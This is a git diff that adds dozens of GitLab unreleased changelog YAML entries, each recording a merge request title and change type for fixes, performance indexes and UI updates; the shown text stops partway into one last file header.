diff --git a/changelogs/unreleased/323548-unify-metrics-definition-yaml-file-in-one-file.yml b/changelogs/unreleased/323548-unify-metrics-definition-yaml-file-in-one-file.yml
new file mode 100644
index 00000000000..e863c461369
--- /dev/null
+++ b/changelogs/unreleased/323548-unify-metrics-definition-yaml-file-in-one-file.yml
@@ -0,0 +1,5 @@
+---
+title: Add unified metrics definition YAML file API endpoint
+merge_request: 57270
+author:
+type: added
diff --git a/changelogs/unreleased/323554-setting-updating-assignees-in-the-graphql-sidebar-doesn-t-update-b.yml b/changelogs/unreleased/323554-setting-updating-assignees-in-the-graphql-sidebar-doesn-t-update-b.yml
new file mode 100644
index 00000000000..8cd506d5100
--- /dev/null
+++ b/changelogs/unreleased/323554-setting-updating-assignees-in-the-graphql-sidebar-doesn-t-update-b.yml
@@ -0,0 +1,5 @@
+---
+title: Fix updating GraphQL boards cards on assignees update
+merge_request: 57687
+author:
+type: fixed
diff --git a/changelogs/unreleased/323577_remove_broken_security_finding_records.yml b/changelogs/unreleased/323577_remove_broken_security_finding_records.yml
new file mode 100644
index 00000000000..cdc1cc32e12
--- /dev/null
+++ b/changelogs/unreleased/323577_remove_broken_security_finding_records.yml
@@ -0,0 +1,5 @@
+---
+title: Delete records from security_findings table with missing UUID values
+merge_request: 56975
+author:
+type: added
diff --git a/changelogs/unreleased/323627-warn-user-is-part-of-oncall-schedule.yml b/changelogs/unreleased/323627-warn-user-is-part-of-oncall-schedule.yml
new file mode 100644
index 00000000000..0b9a1ed2431
--- /dev/null
+++ b/changelogs/unreleased/323627-warn-user-is-part-of-oncall-schedule.yml
@@ -0,0 +1,5 @@
+---
+title: "When removing a user, warn Admin user is part of an on-call schedule"
+merge_request: 57397
+author:
+type: added
diff --git a/changelogs/unreleased/323675-cleanup-web-hoo-logs-backfill-migration.yml b/changelogs/unreleased/323675-cleanup-web-hoo-logs-backfill-migration.yml
new file mode 100644
index 00000000000..618e8fd606c
--- /dev/null
+++ b/changelogs/unreleased/323675-cleanup-web-hoo-logs-backfill-migration.yml
@@ -0,0 +1,5 @@
+---
+title: Migration to cleanup after partitioned web_hook_logs backfill
+merge_request: 57580
+author:
+type: other
diff --git a/changelogs/unreleased/323676-add-fk-to-partitioned-web-hook-logs.yml b/changelogs/unreleased/323676-add-fk-to-partitioned-web-hook-logs.yml
new file mode 100644
index 00000000000..5e3bf7f8372
--- /dev/null
+++ b/changelogs/unreleased/323676-add-fk-to-partitioned-web-hook-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Add a foreign key from the partitioned web_hook_logs to web_hooks
+merge_request: 59282
+author:
+type: other
diff --git a/changelogs/unreleased/323676-add-index-on-created-at-web-hook-id-to-partitioned-web-hook-logs.yml b/changelogs/unreleased/323676-add-index-on-created-at-web-hook-id-to-partitioned-web-hook-logs.yml
new file mode 100644
index 00000000000..b91879903cc
--- /dev/null
+++ b/changelogs/unreleased/323676-add-index-on-created-at-web-hook-id-to-partitioned-web-hook-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Add index on (created_at, web_hook_id) to the partitioned web_hook_logs
+merge_request: 59261
+author:
+type: other
diff --git a/changelogs/unreleased/323676-add-index-on-web-hook-id-to-partitioned-web-hook-logs.yml b/changelogs/unreleased/323676-add-index-on-web-hook-id-to-partitioned-web-hook-logs.yml
new file mode 100644
index 00000000000..eb9b3dbf088
--- /dev/null
+++ b/changelogs/unreleased/323676-add-index-on-web-hook-id-to-partitioned-web-hook-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Add index on web_hook_id to partitioned web_hook_logs
+merge_request: 59266
+author:
+type: other
diff --git a/changelogs/unreleased/323714-add-blob-filename-to-attachment-content-dispostion.yml b/changelogs/unreleased/323714-add-blob-filename-to-attachment-content-dispostion.yml
new file mode 100644
index 00000000000..84e98eff983
--- /dev/null
+++ b/changelogs/unreleased/323714-add-blob-filename-to-attachment-content-dispostion.yml
@@ -0,0 +1,5 @@
+---
+title: Add blob filename to attachment content disposition
+merge_request: 58977
+author:
+type: added
diff --git a/changelogs/unreleased/323742-abort-user-pipelines-on-block.yml b/changelogs/unreleased/323742-abort-user-pipelines-on-block.yml
new file mode 100644
index 00000000000..38a07ca4f70
--- /dev/null
+++ b/changelogs/unreleased/323742-abort-user-pipelines-on-block.yml
@@ -0,0 +1,5 @@
+---
+title: Add index on ci_stages to speed up batch pipeline cancellation
+merge_request: 56126
+author:
+type: performance
diff --git a/changelogs/unreleased/324045-remove-feature-flag.yml b/changelogs/unreleased/324045-remove-feature-flag.yml
new file mode 100644
index 00000000000..838d1923556
--- /dev/null
+++ b/changelogs/unreleased/324045-remove-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Bulk-abort user pipelines on block
+merge_request: 57801
+author:
+type: performance
diff --git a/changelogs/unreleased/324100-monitor.yml b/changelogs/unreleased/324100-monitor.yml
new file mode 100644
index 00000000000..90929823825
--- /dev/null
+++ b/changelogs/unreleased/324100-monitor.yml
@@ -0,0 +1,5 @@
+---
+title: Update master to main inside monitor copy
+merge_request: 56264
+author:
+type: changed
diff --git a/changelogs/unreleased/324100-update-default-initial-branch-name.yml b/changelogs/unreleased/324100-update-default-initial-branch-name.yml
new file mode 100644
index 00000000000..3850f19f977
--- /dev/null
+++ b/changelogs/unreleased/324100-update-default-initial-branch-name.yml
@@ -0,0 +1,5 @@
+---
+title: Update default branch in divergence graph
+merge_request: 58871
+author:
+type: changed
diff --git a/changelogs/unreleased/324105-add-commit-email-to-users-api.yml b/changelogs/unreleased/324105-add-commit-email-to-users-api.yml
new file mode 100644
index 00000000000..2e51863b060
--- /dev/null
+++ b/changelogs/unreleased/324105-add-commit-email-to-users-api.yml
@@ -0,0 +1,5 @@
+---
+title: Add support for commit_email to Users API
+merge_request: 56272
+author:
+type: changed
diff --git a/changelogs/unreleased/324263-add-a-way-to-filter-search-for-a-namespace.yml b/changelogs/unreleased/324263-add-a-way-to-filter-search-for-a-namespace.yml
new file mode 100644
index 00000000000..a9b143103fb
--- /dev/null
+++ b/changelogs/unreleased/324263-add-a-way-to-filter-search-for-a-namespace.yml
@@ -0,0 +1,5 @@
+---
+title: Add search functionality to Jira Connect App namespaces
+merge_request: 57669
+author:
+type: added
diff --git a/changelogs/unreleased/324288-support-versionless-package-in-maven-sync-worker.yml b/changelogs/unreleased/324288-support-versionless-package-in-maven-sync-worker.yml
new file mode 100644
index 00000000000..2e268c62bc5
--- /dev/null
+++ b/changelogs/unreleased/324288-support-versionless-package-in-maven-sync-worker.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the Maven sync worker to not fail if the versionless package is not found
+merge_request: 56514
+author:
+type: fixed
diff --git a/changelogs/unreleased/324306-fj-enable-gitaly-find-file-feature-flag.yml b/changelogs/unreleased/324306-fj-enable-gitaly-find-file-feature-flag.yml
new file mode 100644
index 00000000000..ae845bcfeba
--- /dev/null
+++ b/changelogs/unreleased/324306-fj-enable-gitaly-find-file-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Enable new RPC call to retrieve wiki files
+merge_request: 56491
+author:
+type: changed
diff --git a/changelogs/unreleased/324600-new-issue-remove-attachment.yml b/changelogs/unreleased/324600-new-issue-remove-attachment.yml
new file mode 100644
index 00000000000..5483650c73f
--- /dev/null
+++ b/changelogs/unreleased/324600-new-issue-remove-attachment.yml
@@ -0,0 +1,5 @@
+---
+title: Remove Slack attachment from new issues created via Slash commands
+merge_request: 57431
+author:
+type: changed
diff --git a/changelogs/unreleased/324612-tag-not-visible-compare-page.yml b/changelogs/unreleased/324612-tag-not-visible-compare-page.yml
new file mode 100644
index 00000000000..fe390607661
--- /dev/null
+++ b/changelogs/unreleased/324612-tag-not-visible-compare-page.yml
@@ -0,0 +1,5 @@
+---
+title: Use search param in refs call to filter revisions
+merge_request: 57442
+author:
+type: fixed
diff --git a/changelogs/unreleased/324646-bulk-fail-with-reason.yml b/changelogs/unreleased/324646-bulk-fail-with-reason.yml
new file mode 100644
index 00000000000..de02c02dd1b
--- /dev/null
+++ b/changelogs/unreleased/324646-bulk-fail-with-reason.yml
@@ -0,0 +1,5 @@
+---
+title: Fail batch-aborted pipelines with reason
+merge_request: 57838
+author:
+type: changed
diff --git a/changelogs/unreleased/324649-prevent-experiments-sticking-to-primary.yml b/changelogs/unreleased/324649-prevent-experiments-sticking-to-primary.yml
new file mode 100644
index 00000000000..4657e2f0a81
--- /dev/null
+++ b/changelogs/unreleased/324649-prevent-experiments-sticking-to-primary.yml
@@ -0,0 +1,5 @@
+---
+title: Prevent sticking to DB primary when experiments are tracked
+merge_request: 56852
+author:
+type: performance
diff --git a/changelogs/unreleased/324786-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml b/changelogs/unreleased/324786-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml
new file mode 100644
index 00000000000..c32308ad8c7
--- /dev/null
+++ b/changelogs/unreleased/324786-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml
@@ -0,0 +1,5 @@
+---
+title: Update Design Management added design icon to be slightly smaller which conforms to the Pajamas design guide
+merge_request: 58086
+author: Andreas Resch @reschandreas
+type: other
diff --git a/changelogs/unreleased/324796-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml b/changelogs/unreleased/324796-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml
new file mode 100644
index 00000000000..c46328b6fe7
--- /dev/null
+++ b/changelogs/unreleased/324796-update-deprecated-glicon-size-and-remove-use-deprecated-sizes.yml
@@ -0,0 +1,5 @@
+---
+title: Update GlIcon size in environments.vue
+merge_request: 58208
+author: Md. Pial Ahamed (@root.pial)
+type: changed
diff --git a/changelogs/unreleased/324803-covert-has-tooltip-on-commit-page-to-pajamas.yml b/changelogs/unreleased/324803-covert-has-tooltip-on-commit-page-to-pajamas.yml
new file mode 100644
index 00000000000..8f7747d2784
--- /dev/null
+++ b/changelogs/unreleased/324803-covert-has-tooltip-on-commit-page-to-pajamas.yml
@@ -0,0 +1,5 @@
+---
+title: Covert has-tooltip on commit page to pajamas
+merge_request: 57858
+author:
+type: fixed
diff --git a/changelogs/unreleased/324864-make-it-easy-to-share-a-filtered-view-of-the-registry-2.yml b/changelogs/unreleased/324864-make-it-easy-to-share-a-filtered-view-of-the-registry-2.yml
new file mode 100644
index 00000000000..f0eec39111a
--- /dev/null
+++ b/changelogs/unreleased/324864-make-it-easy-to-share-a-filtered-view-of-the-registry-2.yml
@@ -0,0 +1,5 @@
+---
+title: Connect Registries searches to URL
+merge_request: 57251
+author:
+type: added
diff --git a/changelogs/unreleased/325133-todosdestroyer-generates-expensive-sql-queries.yml b/changelogs/unreleased/325133-todosdestroyer-generates-expensive-sql-queries.yml
new file mode 100644
index 00000000000..0e18c937294
--- /dev/null
+++ b/changelogs/unreleased/325133-todosdestroyer-generates-expensive-sql-queries.yml
@@ -0,0 +1,5 @@
+---
+title: Speed up destroying of group Todos when user leaves group
+merge_request: 56995
+author:
+type: performance
diff --git a/changelogs/unreleased/325196-service-template-deprecation-ui-updates.yml b/changelogs/unreleased/325196-service-template-deprecation-ui-updates.yml
new file mode 100644
index 00000000000..8bc8a287bd4
--- /dev/null
+++ b/changelogs/unreleased/325196-service-template-deprecation-ui-updates.yml
@@ -0,0 +1,5 @@
+---
+title: Remove ability to create new service templates
+merge_request: 58624
+author:
+type: removed
diff --git a/changelogs/unreleased/325196-service-template-deprecation-update.yml b/changelogs/unreleased/325196-service-template-deprecation-update.yml
new file mode 100644
index 00000000000..4aefb4a083a
--- /dev/null
+++ b/changelogs/unreleased/325196-service-template-deprecation-update.yml
@@ -0,0 +1,5 @@
+---
+title: Add global callout for Service template deprecation
+merge_request: 58613
+author:
+type: changed
diff --git a/changelogs/unreleased/325280-add-instance_url-to-jira_connect_installations.yml b/changelogs/unreleased/325280-add-instance_url-to-jira_connect_installations.yml
new file mode 100644
index 00000000000..be00e663cb8
--- /dev/null
+++ b/changelogs/unreleased/325280-add-instance_url-to-jira_connect_installations.yml
@@ -0,0 +1,5 @@
+---
+title: Add instance_url column to the jira_connect_installations table
+merge_request: 59148
+author:
+type: added
diff --git a/changelogs/unreleased/325285-rake-pages-deployments.yml b/changelogs/unreleased/325285-rake-pages-deployments.yml
new file mode 100644
index 00000000000..4647ac4c43f
--- /dev/null
+++ b/changelogs/unreleased/325285-rake-pages-deployments.yml
@@ -0,0 +1,5 @@
+---
+title: Add rake tasks for Pages deployment migration
+merge_request: 57120
+author:
+type: added
diff --git a/changelogs/unreleased/325285-tmp-index-to-file-store.yml b/changelogs/unreleased/325285-tmp-index-to-file-store.yml
new file mode 100644
index 00000000000..39c72a6c22f
--- /dev/null
+++ b/changelogs/unreleased/325285-tmp-index-to-file-store.yml
@@ -0,0 +1,5 @@
+---
+title: Add index on file_store for pages_deployments table
+merge_request: 58355
+author:
+type: performance
diff --git a/changelogs/unreleased/325288-send-invited-users-to-correct-page-sign-in-or-sign-up.yml b/changelogs/unreleased/325288-send-invited-users-to-correct-page-sign-in-or-sign-up.yml
new file mode 100644
index 00000000000..f8727a680e3
--- /dev/null
+++ b/changelogs/unreleased/325288-send-invited-users-to-correct-page-sign-in-or-sign-up.yml
@@ -0,0 +1,5 @@
+---
+title: Send invited users to sign up instead of sign in when possible
+merge_request: 57240
+author:
+type: other
diff --git a/changelogs/unreleased/325333_optimize_query.yml b/changelogs/unreleased/325333_optimize_query.yml
new file mode 100644
index 00000000000..e8433e5fdfc
--- /dev/null
+++ b/changelogs/unreleased/325333_optimize_query.yml
@@ -0,0 +1,5 @@
+---
+title: Apply optimizations to JobsController#show.json
+merge_request: 57367
+author:
+type: performance
diff --git a/changelogs/unreleased/325413-dark-mode-light-colored-branch-indicator-badges-are-hard-to-read.yml b/changelogs/unreleased/325413-dark-mode-light-colored-branch-indicator-badges-are-hard-to-read.yml
new file mode 100644
index 00000000000..4fc4a6ffa8b
--- /dev/null
+++ b/changelogs/unreleased/325413-dark-mode-light-colored-branch-indicator-badges-are-hard-to-read.yml
@@ -0,0 +1,5 @@
+---
+title: Fix badge s and borders in dark mode info wells
+merge_request: 58875
+author:
+type: fixed
diff --git a/changelogs/unreleased/325429-container-registry-cleanup-policy-wiped-all-images.yml b/changelogs/unreleased/325429-container-registry-cleanup-policy-wiped-all-images.yml
new file mode 100644
index 00000000000..da4ed507f23
--- /dev/null
+++ b/changelogs/unreleased/325429-container-registry-cleanup-policy-wiped-all-images.yml
@@ -0,0 +1,5 @@
+---
+title: Always save default on empty values in Exp Policies
+merge_request: 57470
+author:
+type: fixed
diff --git a/changelogs/unreleased/325470-optimize-confidentiality-filter-on-issue-finder.yml b/changelogs/unreleased/325470-optimize-confidentiality-filter-on-issue-finder.yml
new file mode 100644
index 00000000000..be9675b4f3e
--- /dev/null
+++ b/changelogs/unreleased/325470-optimize-confidentiality-filter-on-issue-finder.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize database performance of loading assigned issue count on header bar
+merge_request: 57073
+author:
+type: performance
diff --git a/changelogs/unreleased/325503-fix-update-all-mirrors-db-performance.yml b/changelogs/unreleased/325503-fix-update-all-mirrors-db-performance.yml
new file mode 100644
index 00000000000..88f964bd28c
--- /dev/null
+++ b/changelogs/unreleased/325503-fix-update-all-mirrors-db-performance.yml
@@ -0,0 +1,5 @@
+---
+title: Add partial index to improve mirrors update
+merge_request: 57353
+author:
+type: performance
diff --git a/changelogs/unreleased/325509-set-namespaces-traversal_ids-for-production-gitlab-org-group.yml b/changelogs/unreleased/325509-set-namespaces-traversal_ids-for-production-gitlab-org-group.yml
new file mode 100644
index 00000000000..fc438b5cc6b
--- /dev/null
+++ b/changelogs/unreleased/325509-set-namespaces-traversal_ids-for-production-gitlab-org-group.yml
@@ -0,0 +1,5 @@
+---
+title: Backfill traversal_ids for gitlab-org .com
+merge_request: 57075
+author:
+type: performance
diff --git a/changelogs/unreleased/325605-query-performance-investigation-4458344713234267000-select-merge_r.yml b/changelogs/unreleased/325605-query-performance-investigation-4458344713234267000-select-merge_r.yml
new file mode 100644
index 00000000000..280fdd63eb4
--- /dev/null
+++ b/changelogs/unreleased/325605-query-performance-investigation-4458344713234267000-select-merge_r.yml
@@ -0,0 +1,5 @@
+---
+title: Add additional index to merge_requests table for project/status/created_at
+merge_request: 57267
+author:
+type: performance
diff --git a/changelogs/unreleased/325630-cablett-filter-epics-by-reaction-be.yml b/changelogs/unreleased/325630-cablett-filter-epics-by-reaction-be.yml
new file mode 100644
index 00000000000..301a0d67b10
--- /dev/null
+++ b/changelogs/unreleased/325630-cablett-filter-epics-by-reaction-be.yml
@@ -0,0 +1,5 @@
+---
+title: Allow user to filter epics by their reaction emoji via GraphQL
+merge_request: 58211
+author:
+type: added
diff --git a/changelogs/unreleased/325636-index-namespaces-traversal_ids.yml b/changelogs/unreleased/325636-index-namespaces-traversal_ids.yml
new file mode 100644
index 00000000000..a273e3c9a31
--- /dev/null
+++ b/changelogs/unreleased/325636-index-namespaces-traversal_ids.yml
@@ -0,0 +1,5 @@
+---
+title: Add gin index for namespaces.traversal_ids
+merge_request: 57207
+author:
+type: performance
diff --git a/changelogs/unreleased/325689-delete-issuable-todos-async.yml b/changelogs/unreleased/325689-delete-issuable-todos-async.yml
new file mode 100644
index 00000000000..b8335448baf
--- /dev/null
+++ b/changelogs/unreleased/325689-delete-issuable-todos-async.yml
@@ -0,0 +1,5 @@
+---
+title: Delete all issuable todos asynchronously when issuable is destroyed
+merge_request: 57830
+author:
+type: performance
diff --git a/changelogs/unreleased/325691-add-sync_code_onwers_approval_rules_worker.yml b/changelogs/unreleased/325691-add-sync_code_onwers_approval_rules_worker.yml
new file mode 100644
index 00000000000..48f6211f02c
--- /dev/null
+++ b/changelogs/unreleased/325691-add-sync_code_onwers_approval_rules_worker.yml
@@ -0,0 +1,5 @@
+---
+title: Add new MergeRequests::SyncCodeOwnerApprovalRulesWorker
+merge_request: 58512
+author:
+type: performance
diff --git a/changelogs/unreleased/325803-usage-ping-syntax-errors.yml b/changelogs/unreleased/325803-usage-ping-syntax-errors.yml
new file mode 100644
index 00000000000..c1182eca44d
--- /dev/null
+++ b/changelogs/unreleased/325803-usage-ping-syntax-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Fix remote_mirrors usage ping metric
+merge_request: 57332
+author:
+type: fixed
diff --git a/changelogs/unreleased/325812-update-the-package-settings-to-use-the-blue-primary-button.yml b/changelogs/unreleased/325812-update-the-package-settings-to-use-the-blue-primary-button.yml
new file mode 100644
index 00000000000..197648875da
--- /dev/null
+++ b/changelogs/unreleased/325812-update-the-package-settings-to-use-the-blue-primary-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update the Package settings to use the blue primary button
+merge_request: 57468
+author:
+type: fixed
diff --git a/changelogs/unreleased/325820-update-validation-trigger.yml b/changelogs/unreleased/325820-update-validation-trigger.yml
new file mode 100644
index 00000000000..1b5905cb4f6
--- /dev/null
+++ b/changelogs/unreleased/325820-update-validation-trigger.yml
@@ -0,0 +1,5 @@
+---
+title: Update validation trigger flow on the alerts integration form
+merge_request: 57697
+author:
+type: changed
diff --git a/changelogs/unreleased/325824-prettify-sample-json.yml b/changelogs/unreleased/325824-prettify-sample-json.yml
new file mode 100644
index 00000000000..ab1c8aec591
--- /dev/null
+++ b/changelogs/unreleased/325824-prettify-sample-json.yml
@@ -0,0 +1,5 @@
+---
+title: Prettify JSON of sample alert payload
+merge_request: 58433
+author:
+type: added
diff --git a/changelogs/unreleased/325883-do-not-trim-whitespaces.yml b/changelogs/unreleased/325883-do-not-trim-whitespaces.yml
new file mode 100644
index 00000000000..efd498fc597
--- /dev/null
+++ b/changelogs/unreleased/325883-do-not-trim-whitespaces.yml
@@ -0,0 +1,5 @@
+---
+title: Do not trim input for sample & test payload on alerts integration form
+merge_request: 57617
+author:
+type: changed
diff --git a/changelogs/unreleased/325884-usage-data-count-start-finish-problems.yml b/changelogs/unreleased/325884-usage-data-count-start-finish-problems.yml
new file mode 100644
index 00000000000..33e2ffa23f5
--- /dev/null
+++ b/changelogs/unreleased/325884-usage-data-count-start-finish-problems.yml
@@ -0,0 +1,5 @@
+---
+title: Fix usage data count start/finish export issue
+merge_request: 57403
+author:
+type: fixed
diff --git a/changelogs/unreleased/325937-fix-notes-n-plus-1.yml b/changelogs/unreleased/325937-fix-notes-n-plus-1.yml
new file mode 100644
index 00000000000..a5cb14ade71
--- /dev/null
+++ b/changelogs/unreleased/325937-fix-notes-n-plus-1.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 for searching notes (comments) scope
+merge_request: 57460
+author:
+type: performance
diff --git a/changelogs/unreleased/325991-assignee-dropdown-shows-assignee-s-twice.yml b/changelogs/unreleased/325991-assignee-dropdown-shows-assignee-s-twice.yml
new file mode 100644
index 00000000000..5ea8beded52
--- /dev/null
+++ b/changelogs/unreleased/325991-assignee-dropdown-shows-assignee-s-twice.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Assignee dropdown showing assignee(s) twice
+merge_request: 57513
+author:
+type: fixed
diff --git a/changelogs/unreleased/326009-remove-unused-index.yml b/changelogs/unreleased/326009-remove-unused-index.yml
new file mode 100644
index 00000000000..7c2189c5960
--- /dev/null
+++ b/changelogs/unreleased/326009-remove-unused-index.yml
@@ -0,0 +1,5 @@
+---
+title: Drop unused mirror_data index
+merge_request: 58349
+author:
+type: performance
diff --git a/changelogs/unreleased/326018-handle-missing-instruction-error.yml b/changelogs/unreleased/326018-handle-missing-instruction-error.yml
new file mode 100644
index 00000000000..8a30e030ac3
--- /dev/null
+++ b/changelogs/unreleased/326018-handle-missing-instruction-error.yml
@@ -0,0 +1,6 @@
+---
+title: Display error message when runner installation instructions modal cannot be
+ loaded correctly
+merge_request: 57588
+author:
+type: fixed
diff --git a/changelogs/unreleased/326038-delete-user-modal.yml b/changelogs/unreleased/326038-delete-user-modal.yml
new file mode 100644
index 00000000000..e1c3a31d3aa
--- /dev/null
+++ b/changelogs/unreleased/326038-delete-user-modal.yml
@@ -0,0 +1,5 @@
+---
+title: Deprecate btn-warning on admin area delete user modal
+merge_request: 57761
+author:
+type: changed
diff --git a/changelogs/unreleased/326057-rspec-feature-flag-failure-for-migrate_delayed_project_removal.yml b/changelogs/unreleased/326057-rspec-feature-flag-failure-for-migrate_delayed_project_removal.yml
new file mode 100644
index 00000000000..16e76dbc957
--- /dev/null
+++ b/changelogs/unreleased/326057-rspec-feature-flag-failure-for-migrate_delayed_project_removal.yml
@@ -0,0 +1,5 @@
+---
+title: Removed migrate_delayed_project_removal feature flag
+merge_request: 57541
+author:
+type: other
diff --git a/changelogs/unreleased/326071-fix-security-mr-widget.yml b/changelogs/unreleased/326071-fix-security-mr-widget.yml
new file mode 100644
index 00000000000..2c929f2042c
--- /dev/null
+++ b/changelogs/unreleased/326071-fix-security-mr-widget.yml
@@ -0,0 +1,5 @@
+---
+title: Fix security report fetching in Merge Requests
+merge_request: 57574
+author:
+type: fixed
diff --git a/changelogs/unreleased/326091-appearance-of-badges-admin-runner-table.yml b/changelogs/unreleased/326091-appearance-of-badges-admin-runner-table.yml
new file mode 100644
index 00000000000..911b8f0d667
--- /dev/null
+++ b/changelogs/unreleased/326091-appearance-of-badges-admin-runner-table.yml
@@ -0,0 +1,5 @@
+---
+title: Update runner badges look and feel in admin runners table
+merge_request: 57566
+author:
+type: changed
diff --git a/changelogs/unreleased/326099-enabled-by-default.yml b/changelogs/unreleased/326099-enabled-by-default.yml
new file mode 100644
index 00000000000..e73620bfc76
--- /dev/null
+++ b/changelogs/unreleased/326099-enabled-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce the number of SQL queries executed on Maven file API endpoints
+merge_request: 59136
+author:
+type: performance
diff --git a/changelogs/unreleased/326102-deprecate-runner-install-arguments.yml b/changelogs/unreleased/326102-deprecate-runner-install-arguments.yml
new file mode 100644
index 00000000000..155984ef9b5
--- /dev/null
+++ b/changelogs/unreleased/326102-deprecate-runner-install-arguments.yml
@@ -0,0 +1,5 @@
+---
+title: Remove groupId and projectId arguments to Runner install instructions
+merge_request: 57720
+author:
+type: changed
diff --git a/changelogs/unreleased/326102-fe-cleanup-runner-instructions-project-group-parameters.yml b/changelogs/unreleased/326102-fe-cleanup-runner-instructions-project-group-parameters.yml
new file mode 100644
index 00000000000..fde80656425
--- /dev/null
+++ b/changelogs/unreleased/326102-fe-cleanup-runner-instructions-project-group-parameters.yml
@@ -0,0 +1,6 @@
+---
+title: 'Improve UI of Runner Installation instructions: add a loading indicator, use
+ checkmark on selected options, reduce height of modal'
+merge_request: 58055
+author:
+type: changed
diff --git a/changelogs/unreleased/326106-correlation-id-to-validation-service.yml b/changelogs/unreleased/326106-correlation-id-to-validation-service.yml
new file mode 100644
index 00000000000..0ab0347ee3a
--- /dev/null
+++ b/changelogs/unreleased/326106-correlation-id-to-validation-service.yml
@@ -0,0 +1,5 @@
+---
+title: Add correlation id in X-Request-ID for external pipeline validation
+merge_request: 58741
+author:
+type: other
diff --git a/changelogs/unreleased/326117-pages-does-not-work-on-13-10-0.yml b/changelogs/unreleased/326117-pages-does-not-work-on-13-10-0.yml
new file mode 100644
index 00000000000..6b662156335
--- /dev/null
+++ b/changelogs/unreleased/326117-pages-does-not-work-on-13-10-0.yml
@@ -0,0 +1,5 @@
+---
+title: Disable pages_serve_with_zip_file_protocol by default
+merge_request: 58253
+author:
+type: fixed
diff --git a/changelogs/unreleased/326197-change-runner-identifiers-job-sidebar-admin-list.yml b/changelogs/unreleased/326197-change-runner-identifiers-job-sidebar-admin-list.yml
new file mode 100644
index 00000000000..79991023375
--- /dev/null
+++ b/changelogs/unreleased/326197-change-runner-identifiers-job-sidebar-admin-list.yml
@@ -0,0 +1,6 @@
+---
+title: Display runner token and description consistently in the job sidebar and admin
+ list
+merge_request: 58904
+author:
+type: changed
diff --git a/changelogs/unreleased/326197-project-runners-identifiers.yml b/changelogs/unreleased/326197-project-runners-identifiers.yml
new file mode 100644
index 00000000000..e9570fb9393
--- /dev/null
+++ b/changelogs/unreleased/326197-project-runners-identifiers.yml
@@ -0,0 +1,5 @@
+---
+title: Display project settings runners identifiers consistently
+merge_request: 59383
+author:
+type: changed
diff --git a/changelogs/unreleased/326209-fix-find-or-initialize-service-n-1.yml b/changelogs/unreleased/326209-fix-find-or-initialize-service-n-1.yml
new file mode 100644
index 00000000000..bd933ea23d7
--- /dev/null
+++ b/changelogs/unreleased/326209-fix-find-or-initialize-service-n-1.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 queries to find or initialize services
+merge_request: 58879
+author:
+type: performance
diff --git a/changelogs/unreleased/326212-controller-projects-hookscontroller-index-executes-more-than-100-s.yml b/changelogs/unreleased/326212-controller-projects-hookscontroller-index-executes-more-than-100-s.yml
new file mode 100644
index 00000000000..67d8dc5df43
--- /dev/null
+++ b/changelogs/unreleased/326212-controller-projects-hookscontroller-index-executes-more-than-100-s.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid N+1 queries in breadcrumbs
+merge_request: 57725
+author:
+type: performance
diff --git a/changelogs/unreleased/326244-incident-sidebar-milestome.yml b/changelogs/unreleased/326244-incident-sidebar-milestome.yml
new file mode 100644
index 00000000000..01706511a45
--- /dev/null
+++ b/changelogs/unreleased/326244-incident-sidebar-milestome.yml
@@ -0,0 +1,5 @@
+---
+title: Show bottom border on milestones sidebar widget for incident issues
+merge_request: 58662
+author:
+type: fixed
diff --git a/changelogs/unreleased/326301-shared-group-members-in-project-cannot-be-selected-as-assignees-in.yml b/changelogs/unreleased/326301-shared-group-members-in-project-cannot-be-selected-as-assignees-in.yml
new file mode 100644
index 00000000000..9a970af1b93
--- /dev/null
+++ b/changelogs/unreleased/326301-shared-group-members-in-project-cannot-be-selected-as-assignees-in.yml
@@ -0,0 +1,5 @@
+---
+title: Add invited group members to search results on assignees widget
+merge_request: 59152
+author:
+type: fixed
diff --git a/changelogs/unreleased/326417-small-text-updates-on-sast-config-ui-page.yml b/changelogs/unreleased/326417-small-text-updates-on-sast-config-ui-page.yml
new file mode 100644
index 00000000000..eb5aebc3cee
--- /dev/null
+++ b/changelogs/unreleased/326417-small-text-updates-on-sast-config-ui-page.yml
@@ -0,0 +1,5 @@
+---
+title: Small text updates on the SAST Config UI page
+merge_request: 58188
+author:
+type: changed
diff --git a/changelogs/unreleased/326475-reducing-sql-queries.yml b/changelogs/unreleased/326475-reducing-sql-queries.yml
new file mode 100644
index 00000000000..bd0c678582e
--- /dev/null
+++ b/changelogs/unreleased/326475-reducing-sql-queries.yml
@@ -0,0 +1,5 @@
+---
+title: Add caching to variables calculation of builds
+merge_request: 58286
+author:
+type: performance
diff --git a/changelogs/unreleased/326635-remove-str-truncated-60-class-from-app-views-admin-dashboard-index.yml b/changelogs/unreleased/326635-remove-str-truncated-60-class-from-app-views-admin-dashboard-index.yml
new file mode 100644
index 00000000000..fbaf2af39a8
--- /dev/null
+++ b/changelogs/unreleased/326635-remove-str-truncated-60-class-from-app-views-admin-dashboard-index.yml
@@ -0,0 +1,5 @@
+---
+title: UI improvement of Admin Dashboard top page
+merge_request: 58373
+author: Takuya Noguchi
+type: changed
diff --git a/changelogs/unreleased/326636-remove-str-truncated-60-class-from-app-views-shared-wikis-history.yml b/changelogs/unreleased/326636-remove-str-truncated-60-class-from-app-views-shared-wikis-history.yml
new file mode 100644
index 00000000000..bfcda7e7c86
--- /dev/null
+++ b/changelogs/unreleased/326636-remove-str-truncated-60-class-from-app-views-shared-wikis-history.yml
@@ -0,0 +1,5 @@
+---
+title: Fix overflow UI bug with longer commit title on Wiki Page History
+merge_request: 58212
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/326637-index-namespaces-id-and-parent_id.yml b/changelogs/unreleased/326637-index-namespaces-id-and-parent_id.yml
new file mode 100644
